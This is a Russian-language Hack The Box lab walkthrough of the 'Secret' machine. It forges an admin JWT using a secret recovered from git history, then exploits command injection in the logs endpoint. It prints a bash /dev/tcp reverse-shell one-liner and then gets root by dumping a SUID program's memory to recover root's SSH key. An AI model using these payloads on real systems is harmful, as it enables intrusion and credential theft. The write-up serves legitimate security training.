Хакер - HTB Secret. Раскрываем секрет JWT

Хакер - HTB Secret. Раскрываем секрет JWT

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка
  • Точка входа
  • Точка опоры
  • Локальное повышение привилегий
  • CoreDump

На этот раз мы с тобой прой­дем лег­кую машину с пло­щад­ки Hack The Box и научим­ся раз­бирать API сай­тов, фор­мировать JWT для адми­нис­тра­тив­ного дос­тупа и экс­плу­ати­ровать инъ­екцию команд. Затем получим дос­туп к при­ват­ным дан­ным через дамп самопис­ного при­ложе­ния.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.120 secret.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Наш­ли три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 80 — веб‑сер­вер Nginx 1.18.0;
  • 3000 — опре­делил­ся как Node.js.

Про­пус­каем SSH и идем иссле­довать сайт.

Справка: брутфорс учеток

Пос­коль­ку вна­чале у нас нет учет­ных дан­ных, нет и смыс­ла изу­чать служ­бы, которые всег­да тре­буют авто­риза­ции (нап­ример, SSH). Единс­твен­ное, что мы можем делать здесь, — это переби­рать пароли брут­форсом, но машины с HTB поч­ти всег­да мож­но прой­ти по‑дру­гому. В жиз­ни таких вари­антов может не быть, зато есть шан­сы подоб­рать пароль или получить его при помощи соци­аль­ной инже­нерии.

Глав­ная стра­ница сай­та

На пер­вой же стра­нице находим кноп­ку Live Demo, нажатие которой ведет на стра­ницу /api. Но к сожале­нию, там мы ничего не находим, кро­ме ошиб­ки 404.

Стра­ница /api/

Ско­рее все­го, при­дет­ся фаз­зить домены и скры­тые катало­ги, но сна­чала закон­чим внеш­ний осмотр сай­та. И в самом низу глав­ной стра­ницы находим воз­можность ска­чать исходные коды.

Фор­ма заг­рузки исходно­го кода

ТОЧКА ВХОДА

Пос­ле рас­паков­ки архи­ва отме­тим для себя наличие катало­га .git. Это озна­чает, что мы можем открыть исто­рию это­го репози­тория и поэтап­но прос­мотреть все изме­нения кода с соз­дания фай­лов.

Со­дер­жимое ска­чан­ного архи­ва

Пе­ред нами API, написан­ный на Node.js, поэто­му откры­ваем глав­ный файл index.js.

Со­дер­жимое фай­ла index.js

Здесь сна­чала под­клю­чают­ся необ­ходимые модули (стро­ки 1–6), ниже видим импорт модулей (стро­ки 17–18), с которы­ми и вза­имо­дей­ству­ет поль­зователь (стро­ки 29, 31).

Мы узна­ли имя фай­ла, отве­чающе­го за аутен­тифика­цию, — /routes/auth.js. В нем содер­жатся обра­бот­чики зап­росов на авто­риза­цию и на регис­тра­цию. Спер­ва рас­смот­рим фун­кцию авто­риза­ции.

Со­дер­жимое фай­ла auth.js — обра­бот­чик /login

Об­работ­чик ожи­дает два парамет­ра: email и password (стро­ки 53 и 57). Пос­ле про­вер­ки пред­став­ленных парамет­ров (стро­ки 54 и 58) фор­миру­ется токен JWT.

Те­перь раз­берем регис­тра­цию.

Со­дер­жимое фай­ла auth.js — обра­бот­чик /register

Об­работ­чик ожи­дает три парамет­ра: emailname и password (стро­ки 10, 14 и 18). Пос­ле про­вер­ки пред­став­ленных парамет­ров (стро­ки 11, 15 и 19) соз­дает­ся объ­ект поль­зовате­ля. Про­верим эти пред­положе­ния, зарегис­три­ровав поль­зовате­ля и авто­ризо­вав­шись от его име­ни.

curl -X POST -H 'Content-Type: application/json' http://secret.htb/api/user/register --data '{"email": "ralf@ralf.com", "name":"ralf88", "password":"12345678"}'

Ре­гис­тра­ция поль­зовате­ля

curl -X POST -H 'Content-Type: application/json' http://secret.htb/api/user/login --data '{"email": "ralf@ralf.com", "password":"12345678"}'

Ав­ториза­ция и получе­ние токена

В ито­ге мы получа­ем токен JWT. Надо разоб­рать­ся с фун­кци­ями API и узнать, что мы с их помощью можем получить. Для это­го перей­дем к фай­лу routers/private.js.

Со­дер­жимое фай­ла private.js — обра­бот­чик /priv

В самом начале фай­ла реали­зован обра­бот­чик /priv, который ожи­дает толь­ко один параметр — JWT. Из токена извле­кает­ся имя поль­зовате­ля, и дела­ется про­вер­ка, не админ ли это (поль­зователь theadmin).

Вы­пол­ним зап­рос, ожи­дая получить сооб­щение «you are normal user».

curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3NjM5MWYyNjFiMTA0NjRlOGMwN2MiLCJuYW1lIjoicmFsZjg4IiwiZW1haWwiOiJyYWxmQHJhbGYuY29tIiwiaWF0IjoxNjM4MzYwMzAxfQ.qiSHoEwZ_zO9Q9KKFFBo0LGVdOH1xcxyjJCokn8G-oA' http://secret.htb/api/priv | jq

Про­вер­ка поль­зовате­ля

Все вер­но. Даль­ше в том же фай­ле опре­делен обра­бот­чик /logs.

Со­дер­жимое фай­ла private.js — обра­бот­чик /logs

Этот обра­бот­чик, кро­ме JWT, ожи­дает еще и GET-параметр file. Содер­жимое это­го парамет­ра будет под­став­лено в коман­ду git log --oneline {file}. Это уяз­вимый к внед­рению команд код, но эта фун­кция дос­тупна толь­ко для адми­нис­тра­тора.

ТОЧКА ОПОРЫ

Пе­ред инъ­екци­ей команд нуж­но авто­ризо­вать­ся от име­ни адми­нис­тра­тора. Подоб­рать пароль, веро­ятно, не вый­дет, поэто­му нуж­но будет под­делать токен JWT.

JSON Web Token сос­тоит из трех час­тей: заголов­ка (header), полез­ной наг­рузки (payload) и под­писи. Заголо­вок и полез­ная наг­рузка пред­став­ляют собой объ­екты JSON, при этом наг­рузка может быть любой — это имен­но те кри­тичес­кие дан­ные, которые переда­ются при­ложе­нию. Под­пись же меша­ет под­делать дан­ные, но, имея опре­делен­ный сек­рет, мож­но под­писать что угод­но.

Сна­чала прос­мотрим, из чего сос­тоит токен. Для это­го исполь­зуем jwt_tool. Что­бы декоди­ровать токен, его нуж­но прос­то передать на вход этой прог­рамме.

python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3NjM5MWYyNjFiMTA0NjRlOGMwN2MiLCJuYW1lIjoicmFsZjg4IiwiZW1haWwiOiJyYWxmQHJhbGYuY29tIiwiaWF0IjoxNjM4MzYwMzAxfQ.qiSHoEwZ_zO9Q9KKFFBo0LGVdOH1xcxyjJCokn8G-oA

Де­коди­рова­ние JWT

Уз­наем алго­ритм (hs256) и какие поль­зователь­ские дан­ные вклю­чены в поля payload. Нам здесь нуж­но изме­нить толь­ко параметр name. Откры­ваем файл .env и видим, что в нем сек­рета нет.

Со­дер­жимое фай­ла .ecv

Од­нако у нас есть Git! Для удоб­ной работы с репози­тори­ем мож­но исполь­зовать ути­литу gitk, име­ющую гра­фичес­кий интерфейс. Прос­то запус­тим при­ложе­ние из дирек­тории, где рас­положен каталог .git. Полис­тав ее, получа­ем сек­рет!

Сек­рет JWT

Те­перь приш­ло вре­мя изме­нить дан­ные в нашем токене (параметр -I). Для это­го ука­зыва­ем:

  • -S — алго­ритм;
  • -pc — параметр, который мы будем изме­нять;
  • -pv — зна­чение, которое будем исполь­зовать для нашего парамет­ра;
  • -p — сек­рет, исполь­зуемый для под­писи;
  • те­кущий токен.

python3 jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3NjM5MWYyNjFiMTA0NjRlOGMwN2MiLCJuYW1lIjoicmFsZjg4IiwiZW1haWwiOiJyYWxmQHJhbGYuY29tIiwiaWF0IjoxNjM4MzYwMzAxfQ.qiSHoEwZ_zO9Q9KKFFBo0LGVdOH1xcxyjJCokn8G-oA

Ре­зуль­тат внед­рения нового зна­чения

В резуль­тате мы получим новый токен, который сра­зу же про­веря­ем на стра­нице /api/priv.

curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3NjM5MWYyNjFiMTA0NjRlOGMwN2MiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJhbGZAcmFsZi5jb20iLCJpYXQiOjE2MzgzNjAzMDF9.p2zhhhnFOPP2W6yyS8PiWz5uyRAMC5WSCxAMwbP8gI8' http://secret.htb/api/priv | jq

От­вет сер­вера

Бин­го! Получи­лось выпол­нить зап­рос от име­ни адми­нис­тра­тора. Теперь про­верим стра­ницу /api/logs, куда переда­дим файл test.

curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3NjM5MWYyNjFiMTA0NjRlOGMwN2MiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJhbGZAcmFsZi5jb20iLCJpYXQiOjE2MzgzNjAzMDF9.p2zhhhnFOPP2W6yyS8PiWz5uyRAMC5WSCxAMwbP8gI8' http://secret.htb/api/logs?file=test | jq

От­вет сер­вера

Поп­робу­ем выпол­нить инъ­екцию коман­ды id. Для это­го переда­дим в коде фай­ла пос­ледова­тель­ность команд test;id:

curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWE3NjM5MWYyNjFiMTA0NjRlOGMwN2MiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJhbGZAcmFsZi5jb20iLCJpYXQiOjE2MzgzNjAzMDF9.p2zhhhnFOPP2W6yyS8PiWz5uyRAMC5WSCxAMwbP8gI8' 'http://secret.htb/api/logs?file=test;id' | jq

Ре­зуль­тат выпол­нения коман­ды id

И коман­да выпол­нена! Зна­чит, проб­расыва­ем реверс‑шелл:

bash -c "bash -i >& /dev/tcp/10.10.14.49/4321 0>&1"

Но перед этим его луч­ше закоди­ровать в URLEncode (к при­меру, на этом сай­те).

От­прав­ка реверс‑шел­ла
Флаг поль­зовате­ля

Так мы получа­ем флаг поль­зовате­ля.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Что­бы было удоб­нее работать, возь­мем при­ват­ный ключ SSH поль­зовате­ля:

/home/dasith/.ssh/id_rsa

Под­клю­чим­ся по SSH от име­ни это­го юзе­ра. Теперь воз­ника­ет воп­рос, что делать даль­ше, что­бы повысить при­виле­гии. Я обыч­но ищу пути для прод­вижения при помощи скрип­тов PEASS. Ска­чива­ем скрипт для Linux, заг­ружа­ем его на хост, даем при­виле­гии и запус­каем.

scp -i id_rsa ~/linpeas.sh dasith@secret.htb:/tmp/linpeas.sh

chmod +x /tmp/linpeas.sh

/tmp/linpeas.sh

При­ложе­ния с активным SUID-битом

Скрипт LinPEAS под­све­тил нам крас­ным цве­том нез­накомое поль­зователь­ское при­ложе­ние с выс­тавлен­ным битом SUID.

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

Пе­рей­дя в каталог это­го при­ложе­ния, най­дем там исходный код.

Со­дер­жимое катало­га /opt

Мож­но сох­ранить его на локаль­ный диск и открыть в каком‑нибудь удоб­ном редак­торе, я исполь­зую VS Code.

При запус­ке это при­ложе­ние дол­жно зап­росить у нас путь к фай­лу (стро­ки 115–117) и передать его в dircount или filecount (стро­ки 118–122). Затем будут выз­ваны фун­кции getuid() и setuid() (стро­ка 125). Если воз­никнут ошиб­ки, акти­виру­ется режим дам­па памяти про­цес­са (стро­ка 127).

Ис­ходный код при­ложе­ния count

Фун­кция filecount прос­то выпол­нит обход фай­ла и под­счет сим­волов.

Ис­ходный код фун­кции filecount

COREDUMP

Суть этой тех­нологии в том, что ядро соз­дает дамп памяти про­цес­са, если он выпол­нил недопус­тимую опе­рацию и дол­жен быть оста­нов­лен. Работа­ет это так: ядро отправ­ляет один из ава­рий­ных сиг­налов про­цес­су, пос­ле чего про­цесс обра­баты­вает сиг­нал сам или с помощью сто­рон­них обра­бот­чиков. Это запус­кает механизм ядра, который соз­дает дамп.

Воз­ника­ет идея: прог­рамма при работе в режиме при­виле­гий может заг­рузить в память любой файл (нам инте­ресен при­ват­ный SSH супер­поль­зовате­ля), затем пош­лем сиг­нал экс­трен­ного завер­шения прог­раммы. Будет сде­лан пол­ный дамп памяти, отку­да мож­но будет дос­тать наш клю­чик.

За­пус­тим прог­рамму и ука­жем ей файл /root/.ssh/id_rsa.

За­пуск прог­раммы

Те­перь най­дем ее в спис­ке про­цес­сов и завер­шим (дела­ем это в дру­гом тер­минале). Дол­жны получить сооб­щение о соз­дании дам­па.

По­иск и завер­шение прог­раммы
Ин­форма­ция о соз­дании дам­па

Рас­паку­ем получен­ный файл .crash с помощью apport-unpack:

apport-unpack _opt_count.1000.crash /tmp/test

Рас­паков­ка crash-фай­ла

Нас инте­ресу­ет файл CoreDump. Так как ключ SSH пол­ностью сос­тоит из печата­емых сим­волов, мы можем его най­ти с помощью ути­литы strings.

По­иск сох­ранен­ного SSH-клю­ча

Сох­раня­ем ключ на локаль­ный хост, наз­нача­ем пра­ва коман­дой chmod 0600 id_rsa и под­клю­чаем­ся от име­ни рута.

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Report Page